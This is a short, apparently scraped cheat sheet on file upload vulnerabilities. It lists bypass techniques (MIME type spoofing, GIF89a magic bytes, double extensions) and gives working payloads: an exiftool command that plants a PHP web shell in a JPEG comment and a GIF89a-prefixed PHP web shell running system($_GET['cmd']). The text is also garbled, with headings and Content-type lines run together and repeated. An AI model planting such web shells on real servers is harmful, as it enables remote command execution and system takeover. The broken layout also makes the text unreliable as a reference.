File Upload Vulnerabilities
File extension
MIME type
Content-type: application/x-phpContent-type: image/jpegPHP getimagesize()
GIF89a; header
Last updated
Content-type: application/x-phpContent-type: image/jpegLast updated
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
mv file.jpg file.php.jpgGIF89a;
<?
system($_GET['cmd']); # shellcode goes here
?>